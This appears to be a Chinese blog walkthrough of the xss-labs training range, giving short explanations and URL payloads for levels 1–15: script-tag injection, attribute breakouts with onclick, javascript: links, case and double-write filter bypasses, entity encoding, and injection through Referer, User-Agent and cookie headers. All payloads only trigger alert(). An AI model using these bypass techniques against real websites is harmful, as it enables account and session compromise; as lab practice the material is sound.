xss-labs靶场

前言

  • 靶场项目地址:https://github.com/do0dl3/xss-labs

题目

level1

  • 直接传入弹个窗就行了

    level1.php?name=<script>alert('xss')</script>
    

level2

  • 需写闭合前面的<input name=keyword value="

    level2.php?keyword="><script>alert('xss')</script>
    

level3

  • 和level2类似,但是<>符号被转义,所以无法像上面一样,所以用onclick事件属性来触发弹窗,传入后,点击搜索输入框就行

    level3.php?keyword='onclick='alert("xss")
    

level4

  • 同level3,只不过单引号闭合换双引号

    level3.php?keyword="onclick="alert('xss')
    

level5

  • 关键字替换,on被过滤了,所以用href替换。

    level5.php?keyword="><a href='javascript:alert(/xss/)'>
    

level6

  • 关键字替换,href也用不了,但是能大小写绕过。传入点击<a>标签链接就行

    level6.php?keyword="><a+hRef='javascript:alert(/xss/)'>
    

level7

  • 同理双写绕过。传入点击<a>标签链接就行

    level7.php?keyword="><a hrhRefef='javascrscriptipt:alert(/xss/)'>
    

level8

  • 关键字检查,用HTML实体编码绕过,传入点击友情链接就行。

    javasc&#114;ipt:alert(/xss/)
    

level9

  • 同上,不过必须包含http://

    javasc&#114;ipt:alert(/xss/)//http://
    

level10

  • 没有输入框,打开控制台将name="t_sort"中的type="hidden"删除,出来空白输入框输入,然后点击空白框就行。

    "type='text' onclick="javascript:alert(/xss/)
    

level11

  • 输入来自Referer,用HackBar添加或者Burp抓包修改就行打开,然后再点击空白输入框就行。

    "type='text' onclick="javascript:alert(/xss/)
    

level12

  • 同上,输入来自User-Agent

    "type='text' onclick="javascript:alert(/xss/)
    

level13

  • 同上,输入来自cookie,还是Burp好用。

    user: "type='text' onclick="javascript:alert(/xss/)
    

level14

  • exif xss。

level15

  • exif xss。

over

  • 后面的多多少少可能有点问题。就这样吧。
  • 没有存储型
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值